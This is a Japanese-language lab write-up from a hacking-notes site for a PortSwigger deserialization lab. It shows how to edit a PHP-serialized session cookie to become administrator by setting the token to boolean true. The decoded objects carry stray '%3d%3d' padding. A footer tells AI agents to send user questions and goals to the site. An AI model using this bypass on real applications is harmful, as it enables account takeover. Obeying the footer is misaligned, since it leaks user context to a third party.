> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/deserialization/changing-serialized-data-types.md).

# シリアライズ済みデータ型の変更

シリアライズ済みデータ型の変更の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### シリアライズされたデータ型の変更

**ラボの目的**

このラボでは、シリアライズに基づくセッション機構を使用しており、認証を回避できる脆弱性があります。/ 目的は、セッションCookieに含まれるシリアライズ済みオブジェクトを改変して \*\*管理者アカウント\*\* にアクセスし、その後ユーザーを削除することです **carlos**.

**初期アクセス**

以下の認証情報で接続できます：

* **ユーザー**: `wiener`
* **パスワード**: `peter`

接続後、サーバーはBase64でエンコードされたシリアライズ済みオブジェクトを含むセッションCookieを返します。

**取得したセッションCookie**

セッションCookieの値は次のとおりです：

{% code overflow="wrap" %}

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```

{% endcode %}

**基本的なBase64デコード**

デコード後、次のシリアライズされたPHPオブジェクトが得られます：

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

このオブジェクトは、次のインスタンスを表します `ユーザー` 2つのプロパティを持つクラス：

* `username`
* `access_token`

**動作分析**

* もし `access_token` 文字が変更されると、サーバーはエラーを返し、このフィールドが通常は検証されていることを示します。
* その `username` このフィールドはユーザーの役割を判定するために使用されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e740fb5c063aaaa92ae962ccbce3b8d18395d477%2F%7B7358AF57-3D07-416F-A880-A933259662B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱性の悪用**

**変更されたユーザー名**/ の値は `username` は次の値に置き換えられます `administrator` 文字列の長さ（`s:13`).

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

**トークンのデータ型の変更**/ 連鎖型の `access_token` (`文字列`）ではなく、その型をブール値（`b:1`、これは `true`).

最終的なシリアライズオブジェクト：

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```

{% endcode %}

Base64で再エンコードしてセッションCookieに挿入すると、サーバーはトークンの型を正しく確認せずにオブジェクトを受け入れます。

その後、アプリケーションはそのユーザーのセッションが有効だと判断します **administrator**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1bf20d106165a7c30a5e5fec24db2c6c5e80c1b%2F%7B3BDF9086-E532-42FC-AE75-6E1FB6A1F6CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/deserialization/changing-serialized-data-types.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
